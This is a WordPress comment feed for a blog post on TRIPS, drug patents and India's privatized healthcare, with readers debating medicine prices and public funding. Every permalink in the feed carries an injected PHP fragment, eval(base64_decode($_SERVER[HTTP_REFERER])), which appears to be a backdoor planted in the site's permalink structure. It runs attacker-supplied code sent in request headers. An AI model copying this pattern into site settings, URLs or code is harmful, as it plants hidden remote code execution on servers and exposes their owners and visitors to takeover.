Comments on: Tripping Over TRIPS http://policywise.net/2007/02/27/tripping-over-trips/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Policy Matters Tue, 26 Jan 2010 09:15:21 -0500 http://wordpress.org/?v=2.8.5 hourly 1 By: The Novartis Patent Case at Policy Wise http://policywise.net/2007/02/27/tripping-over-trips/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-851 The Novartis Patent Case at Policy Wise Wed, 08 Aug 2007 21:18:40 +0000 http://www.policywise.net/2007/02/27/tripping-over-trips/#comment-851 [...] Related Reading: Tripping over TRIPS. [...] [...] Related Reading: Tripping over TRIPS. [...]

]]> By: paandu http://policywise.net/2007/02/27/tripping-over-trips/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-171 paandu Mon, 05 Mar 2007 07:36:39 +0000 http://www.policywise.net/2007/02/27/tripping-over-trips/#comment-171 I get the point. And am glad that you replied. But one point is very important. A poor medical system can hurt the health of lakhs of people in India. But so can one inappropriately priced life saving drug. So the medical system should improve, no doubt, but making sure that second problem does not occur is as important, its not a misplaced priority. I get the point. And am glad that you replied. But one point is very important. A poor medical system can hurt the health of lakhs of people in India. But so can one inappropriately priced life saving drug. So the medical system should improve, no doubt, but making sure that second problem does not occur is as important, its not a misplaced priority.

]]> By: Jyotsna http://policywise.net/2007/02/27/tripping-over-trips/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-155 Jyotsna Sat, 03 Mar 2007 05:12:58 +0000 http://www.policywise.net/2007/02/27/tripping-over-trips/#comment-155 R, A well-argumented post. I am not even in the vicinity of this subject, but you made it simple and interesting a read. I, especially, liked the point d. the troubling point is a general lack of interest or support from Government in R&D efforts. Still a developing economy and burgeoning with significantly higher poorer strata, there is a huge potential to drive the innovation in value-based or low-priced product range or formulations, which, after success, can be marketed to other nations too. weather/climate, living conditions can influence one's health care system and they could b reasons for certain types of diseases ...have there been any efforts in to explore this area by the R&D teams? am wholly ignorant to this industry, but never ever heard of a plethora of path-breaking ideas from the industry till date the point that u made : India has the most privatized health care system in the world where the government pays only 21% of the total health care costs; compare it with Japan and America where the government share is nearly 45%. ....is a revelation. but isn’t the healthcare in US or other developed economies more expensive than in India?no wonder, many patients from various countries these days prefer to come down to India for medical care (which is supported by world-class facilities)..n does this increase premiumness around health care, which invariably, would result a far away dream from the still poorer society in India? then would not there be a heightened need for Govt systems to come in to introduce efforts to innovate product range? one vicious a circle....time for the laggard systems to wake up from their slumber R,
A well-argumented post. I am not even in the vicinity
of this subject, but you made it simple and
interesting a read.
I, especially, liked the point d. the troubling point
is a general lack of interest or support from
Government in R&D efforts. Still a developing economy
and burgeoning with significantly higher poorer
strata, there is a huge potential to drive the
innovation in value-based or low-priced product range
or formulations, which, after success, can be marketed
to other nations too. weather/climate, living
conditions can influence one’s health care system and
they could b reasons for certain types of diseases
…have there been any efforts in to explore this area
by the R&D teams? am wholly ignorant to this industry,
but never ever heard of a plethora of path-breaking
ideas from the industry till date
the point that u made :
India has the most privatized health care system in
the world where the government pays only 21% of the
total health care costs; compare it with Japan and
America where the government share is nearly 45%.
….is a revelation. but isn’t the healthcare in US or
other developed economies more expensive than in
India?no wonder, many patients from various countries
these days prefer to come down to India for medical
care (which is supported by world-class facilities)..n
does this increase premiumness around health care,
which invariably, would result a far away dream from
the still poorer society in India? then would not
there be a heightened need for Govt systems to come in
to introduce efforts to innovate product range? one
vicious a circle….time for the laggard systems to
wake up from their slumber

]]> By: at Policy Wise http://policywise.net/2007/02/27/tripping-over-trips/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-151 at Policy Wise Fri, 02 Mar 2007 05:38:00 +0000 http://www.policywise.net/2007/02/27/tripping-over-trips/#comment-151 [...] the post on patents, we had briefly talked about partnerships between pharmaceutical companies and charitable [...] [...] the post on patents, we had briefly talked about partnerships between pharmaceutical companies and charitable [...]

]]> By: confused http://policywise.net/2007/02/27/tripping-over-trips/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-141 confused Wed, 28 Feb 2007 14:03:16 +0000 http://www.policywise.net/2007/02/27/tripping-over-trips/#comment-141 <blockquote>that was a very careless and insensitive statement. To say that the poor doesn’t even get needles and why should they worry about medicines that might go in the syringe.</blockquote> Paandu, You understoof the point incorrectly. This was to call for more state funding and ensure that we focus on the real issue. Patents are sexy to talk about because of the involvement of the big pharma which automatically gets a lot of people angry. Also as I noted before, most poor aren't able to afford even generics, so then are we worrying about the right thing? About rest of the points, you again misunderstood the nature of my comments. I didn't call for replacement of private health care by public health care, infact I believe the private sector involvement should be much greater. What I was looking into was how the health system should be funded, entirely different from how it is run.

that was a very careless and insensitive statement. To say that the poor doesn’t even get needles and why should they worry about medicines that might go in the syringe.

Paandu,

You understoof the point incorrectly. This was to call for more state funding and ensure that we focus on the real issue. Patents are sexy to talk about because of the involvement of the big pharma which automatically gets a lot of people angry. Also as I noted before, most poor aren’t able to afford even generics, so then are we worrying about the right thing?

About rest of the points, you again misunderstood the nature of my comments. I didn’t call for replacement of private health care by public health care, infact I believe the private sector involvement should be much greater. What I was looking into was how the health system should be funded, entirely different from how it is run.

]]> By: paandu http://policywise.net/2007/02/27/tripping-over-trips/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-140 paandu Wed, 28 Feb 2007 10:52:26 +0000 http://www.policywise.net/2007/02/27/tripping-over-trips/#comment-140 (i have no much idea about patent laws, these are general comments) "<em>only those who have never stepped inside a primary health care center or even state medical colleges where often even surgical gloves and needles are unavailable would worry so much over patents.</em>", that was a very careless and insensitive statement. To say that the poor doesn't even get needles and why should they worry about medicines that might go in the syringe. As you said India has a highly privatized health care system and that means more people will suffer here if the prices of essential drugs go up. So there goes your argument b as individuals cannot do bulk buying. d is fine, but that is totally a diff issue, one life saving drug that is made by private firms, and which is unevenly priced could make big impact. And e also means killing a well established private health care system by relatively poor quality public system, does that sound great? (i have no much idea about patent laws, these are general comments)
“only those who have never stepped inside a primary health care center or even state medical colleges where often even surgical gloves and needles are unavailable would worry so much over patents.“, that was a very careless and insensitive statement. To say that the poor doesn’t even get needles and why should they worry about medicines that might go in the syringe.
As you said India has a highly privatized health care system and that means more people will suffer here if the prices of essential drugs go up. So there goes your argument b as individuals cannot do bulk buying. d is fine, but that is totally a diff issue, one life saving drug that is made by private firms, and which is unevenly priced could make big impact. And e also means killing a well established private health care system by relatively poor quality public system, does that sound great?

]]> By: Tripping Over TRIPS at Retributions http://policywise.net/2007/02/27/tripping-over-trips/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-137 Tripping Over TRIPS at Retributions Wed, 28 Feb 2007 03:35:51 +0000 http://www.policywise.net/2007/02/27/tripping-over-trips/#comment-137 [...] (Cross posted from here) [...] [...] (Cross posted from here) [...]

]]> By: DesiPundit http://policywise.net/2007/02/27/tripping-over-trips/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/comment-page-1/#comment-297 DesiPundit Wed, 31 Dec 1969 19:00:00 +0000 http://www.policywise.net/2007/02/27/tripping-over-trips/#comment-297 <!--%kramer-pre%-->Confused’s long post does a good job<!--%kramer-post%--> links from TechnoratiConfused’s long post does a good job

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